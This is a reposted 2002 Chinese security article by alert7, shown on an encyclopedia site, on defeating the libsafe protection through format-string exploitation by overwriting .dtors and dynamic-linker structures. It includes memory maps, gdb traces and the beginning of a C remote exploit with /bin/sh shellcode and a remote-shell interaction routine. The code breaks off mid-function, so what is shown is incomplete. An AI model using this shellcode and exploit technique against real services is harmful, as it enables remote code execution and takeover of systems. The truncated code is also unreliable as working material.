百科知识库-中国实用知识供应者
网站地图设为首页加入收藏
百科知识库
您当前的位置:百科知识库科学技术电脑技术网管天地绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术
知识导航
绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术 绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

by alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/http://www.whitecell.org/
2002-04-29


在这里向您展现一下新的覆盖_dl_lookup_versioned_symbol技术
(这技术我提的,就这么命名好了:) )
错误之处,还请来信斧正,谢谢。

上接<<如何写远程自动精确定位的format string exploit>>

  由于libsafe只保护堆栈区,不保护heap,和bss区,所以,我们可以设法覆盖那里的某些重要变量,
从而使我们的shellcode获得控制权。

想法一:覆盖dtors

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/ls
  /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
  libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
  libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
  libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/more
  /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
  libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
  libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
  libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/mail
  /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
  libc.so.6 => /lib/i686/libc.so.6 (0x4002c000)
  libdl.so.2 => /lib/libdl.so.2 (0x40167000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /usr/local/apache/bin/httpd
  /lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
  libpam.so.0 => /lib/libpam.so.0 (0x4002c000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x40034000)
  libresolv.so.2 => /lib/libresolv.so.2 (0x40061000)
  libm.so.6 => /lib/i686/libm.so.6 (0x40073000)
  libdl.so.2 => /lib/libdl.so.2 (0x40096000)
  libnsl.so.1 => /lib/libnsl.so.1 (0x4009a000)
  libexpat.so.0 => /usr/lib/libexpat.so.0 (0x400b0000)
  libc.so.6 => /lib/i686/libc.so.6 (0x400cd000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

加载libsafe的话,那么它的地址一般都会在0x40019000
而对于特定版本的libsafe的话,它的dtors也有个固定的地址
[alert7@redhat72 libsafe-2.0-13]# objdump -s -j .dtors /lib/libsafe.so.2

/lib/libsafe.so.2: file format elf32-i386

Contents of section .dtors:
31e0 ffffffff 50270000 00000000 ....P'......

修改addr_ret等于0x40019000+0x31e0+4

测试

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0x400

   

1c1e4 addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

e4 c1 01 40 e6 c1 01 40 25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) bt
#00xbffff875 in ?? ()
#10x4001b7d9 in _fini () at eval.c:41
#20x4000de72 in _dl_fini () at eval.c:41
#30x4005d42b in exit (status=0) at exit.c:54
#40x40048510 in __libc_start_main (main=0x8048804 <main>, argc=1,
  ubp_av=0xbffffd24, init=0x8048468 <_init>, fini=0x8048980 <_fini>,
  rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffd1c)
  at ../sysdeps/generic/libc-start.c:129
(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) i reg eip
eip0xbffff875 0xbffff875
(gdb) x/10x 0xbffff094
0xbffff094: 0x000000000x000000000x000000000x00000000
0xbffff0a4: 0x000000000x000000000x000000000x00000000
0xbffff0b4: 0x000000000x00000000

在执行共享库的析构函数的时候,已经是程序快要结束的时候,format string input那些数据已经
被程序所清洗。所以,这个vul exploit,我们不能覆盖dtors达到控制的目的。


想法二:把shellcode 4个字节4个字节的拷贝到远程进程的进程空间里
 这样当调用exit-->dtors的时候,shellcode还存在。
 这样的话可能存在一个问题,就是要注意到进程的地址的每个字节不能为0


[alert7@redhat72 1674]# cat maps
08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 16:01 65282/lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282/lib/ld-2.2.4.so
40018000-40019000 rw-p 00001000 00:00 0
40019000-4001c000 r-xp 00000000 16:01 65381/lib/libsafe.so.2.0.13
4001c000-4001d000 rw-p 00003000 16:01 65381/lib/libsafe.so.2.0.13
4002c000-4015e000 r-xp 00000000 16:01 77522/lib/i686/libc-2.2.4.so
4015e000-40163000 rw-p 00131000 16:01 77522/lib/i686/libc-2.2.4.so
40163000-40167000 rw-p 00000000 00:00 0
40167000-4016a000 r-xp 00000000 16:01 65295/lib/libdl-2.2.4.so
4016a000-4016b000 rw-p 00002000 16:01 65295/lib/libdl-2.2.4.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

我们选择把shellcode写到0x40016000-0x40017000之间的地址,所以选择了0x40016002作为写入地址。
如果堆栈是不可运行的话,我们可以选用0x40016002,来达到绕过一般堆栈不可运行的目的。
现在我们选择0xbfffd002作为shellcode写入地址会更好

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>


#define CODEAT 0xbfffe002 //shellcode要写入的地址,注,该地址一定要可写
#define LIBSAFEBASE 0x40019000 //libsafe装载的基地址
#define DTORS_OFFSET_LIBSAFEBASE 0x31e0

     

//libsafe中的dtros的offset

char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
  b0 = (addr >> 24) & 0xff; \
  b1 = (addr >> 16) & 0xff; \
  b2 = (addr >>8) & 0xff; \
  b3 = (addr) & 0xff; \
  if ( b0 * b1 * b2 * b3 == 0 ) { \
  printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
  exit( EXIT_FAILURE ); \
  } \
  }
#define MAX_FMT_LENGTH 128
#define ADD0x100
#define FOURsizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255


char *shellcode =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90";
//shellcode长度 4的倍数

int interact(int sock)
{
  fd_set fds;
  ssize_t ssize;
  char buffer[1024];

  write(sock, BANNER"\n", sizeof(BANNER));
  while (1) {
  FD_ZERO(&fds);
  FD_SET(STDIN_FILENO, &fds);
  FD_SET(sock, &fds);
  sel

     

 
百科知识库 版权所有

Copyright © 2007-2009 www.zsku.net, All Rights Reserved

本站所收集信息资料为网络转载 版权属各作者 并已著明作者 旨在资源共享、交流、学习之用,请勿用于商业用途,本站并不保证所有信息、文本、图形、链接及其它内容的绝对准确性和完整性,故仅供访问者参照使用。